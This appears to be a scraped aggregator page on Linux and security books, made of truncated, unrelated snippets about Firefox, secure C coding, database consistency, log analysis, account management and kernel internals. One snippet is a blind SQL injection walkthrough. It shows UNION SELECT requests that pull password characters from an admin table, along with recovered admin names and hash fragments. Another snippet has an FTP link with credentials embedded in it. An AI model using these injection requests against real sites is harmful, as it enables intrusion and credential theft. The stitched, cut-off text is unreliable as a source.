linux security book

Foundation when people use Firefox to browse the Internet! As a result, Mozilla was satisfied and forgot to continue working on Firefox. It turns out that money has harmed Firefox. In fact, many Slashdot posts are quite vocal about this. Let's look at it. The problem is that the Firefox foundation makes money and Firefox developers do nothing about this kind of good thing? On the contrary, after Chrome's open-source browser was released, the version was upgraded rapidly. The new version was upd

Standardization has also revised the C language standards, the implementation of C language more stringent requirements, thus providing a basis for secure coding. This coding standard is the industry's most extensive compilation of programming guidelines, which clasp the C language standards of each edition, and provides a breakdown of the undefined behavior, unspecified behavior, and the rules and recommendations for secure coding that can lead to the use of

"White hat Speaks web security" Wu HanqingJust beginning to read this book is attracted by this book, feel very good, to recommend, recently read this book, feel Good Essence on record, as the saying goes >>> good head than a rotten pen Information is not equal to knowledge, now read books, record, feel very good Wu →

Information security engineers are a relatively new role. In the second half of this year in 2016, the safety engineer was included in the examination subjects, indicating that the country's demand for safety engineers was good. Security engineers include two pieces of hardware and software. The security engineers described here are primarily responsible for the

Last record, say a word about the security of the database.One, consistency controlTo ensure transactional consistency, you can use Display transaction statements and add integrity constraints to the database. For example, in the return of the book, you want to modify the user's user table in the remaining number of books, borrowing records of the option and the remaining number in the

Title: PHP Address Book 6.2.12 Multiple security vulnerabilitiesBy Stefan SchurtzAffected Software: Successfully tested on PHP Address Book 6.2.12Developer Website: http://sourceforge.net/projects/php-addressbook/Defect description======================================PHP Address Book 6.2.12 is contains multiple xss an

HTTP://WWW.IBM.COM/DEVELOPERWORKS/CN/LINUX/L-LSM/PART1/1. Related background: Why and whatIn recent years, Linux system has been widely concerned and applied by computer industry because of its excellent performance and stability, the flexibility and expansibility of open Source feature, and the lower cost. But in terms of security, the

Becoming a Senior Programmer proficient in Linux programming has always been the goal of many friends. According to statistics from chinacache, the monthly salary of Linux programmers in Beijing is 1.8 times that of Windows programmers, 2.6 times that of Java programmers, and 2.9 times that of Windows programmers. At the same time, the data shows that with the increase of work experience, the income gap bet

), 3,4,5,6,7,8 from ADMIN WHERE id=7%16//cOrhttp://www.xxx.cn/cp.asp?classid=3 UNION Select 1, (select MID (pwd,16,1) from admin WHERE id=4), 3,4,5,6,7,8 from admin%16 Fhttp://www.xxx.cn/cp.asp?classid=3 UNION Select 1, (select MID (pwd,16,1) from admin WHERE id=5), 3,4,5,6,7,8 from admin%16 8http://www.xxx.cn/cp.asp?classid=3 UNION Select 1, (select MID (pwd,16,1) from admin WHERE id=7), 3,4,5,6,7,8 from admin%16 CTo organize the current results:ID admin pwd4 Lxiaofu bbd06203b2ba922f5 Admin 481

understand the Unix/linux log analysis tips. The language of the book is easy to understand, combined with case scenarios, ease of practical operation. More importantly, system administrators (including various It practitioners) through this book, not only can learn the role of Unix/linux log, but also can extrapolate

New book Unix/Linux Log Analysis and traffic monitoring is coming soon The new book "Unix/Linux Log Analysis and traffic monitoring" is about to release the 0.75 million-word book created in three years. It has been approved by the publishing house today and will be publishe

This book from the Unix/linux system of raw logs (raw log) collection and analysis, and gradually into the log audit and computer forensics link. The book provides a number of cases, each case with a vivid note of the network after the invasion, management personnel to carry out the process of system forensics and recovery, case analysis techniques with the story

1. Basic security measures1.1 System Account CleanupIn the Linux system, in addition to the user manually created, but also included in the system or program during the installation process of a large number of other users, in addition to Superuser root, a large number of other accounts just to maintain the system operation, start or maintain the service process, generally not allowed to log in, and therefo

file11.6 Account Maintenance11.6.1 passwd11.6.2 gpasswd11.6.3 CHFN11.6.4 Chsh11.6.5 Pwck11.6.6 NEWGRP11.7 Account Information Display11.7.1 Finger11.7.2 groups11.7.3 ID11.7.4 WhoAmI11.7.5 su11.8 adding users in bulk11.8.1 Bulk Add User profile11.8.2 adding user instances in bulk11.9 Security for your account11.10 sudoAbout 11.10.1 sudo11.10.2/etc/sudoers File Details11.10.3 Visudo11.10.4 sudo command12th Chapter permissions, owners, and ACLs12.1 Sett

data segments?) ） The glibc is used to satisfy the large allocation, the threshold value is generally 128KB p = mmap (NULL, 512*1024, prot_read| Prot_write, map_anonymous| Map_private,-1, 0); mallopt* $ malloc_check=1./test P300 do not use ALLOCA () allocated memory as arguments to function calls C99 variable length Array (vlas): Char buf[i]; Memory operations Memset, bzero ==〉 priority to use Calloc? memcmp

about turning around with Microsoft. UNIX advanced programming version 2ndAdvanced Programming in UNIX environment is a must-have book for Unix/Linux programmers. It can be said that if a Linux programmer has not read this Books, just as Christians have not read the Bible, are hard to understand. This book summarizes

Linux Basic tutorial (total two attachments, download complete) First Download Address: Ftp://ftp_hllinux:123456@211.95.73.26/suse/linux123.rar (please download later) Second Download address: Ftp://ftp_hllinux:123456@211.95.73.26/suse/linuxshell.rar (please download later for a while) Linux Tutorial recommended: Linux system Administrator's Guide Sho

Linux security configuration, linux System Security Settings suggestions, you may encounter linux system security problems when learning the linux operating system, here we will introdu

record when writing or revising a file. Therefore, when data inconsistency occurs, you can examine the log record block directly, and you can quickly identify the problem. Linux EXT3 is a file system that supports logging capabilities. It has also been said that since the disk is much slower than memory, Linux does not immediately update the modified data in memory to disk after modifying the data in me

This HTML page address: http://oss.org.cn/kernel-book/In- depth analysisLinuxKernel sourceObjectiveChapter I. into Linux1.1 GNU and Linux growth1.2 Linux development model and operation mechanism1.3 into Linux Kernel 1.3.1 Features of the Linux kernel1.3.2 changes to the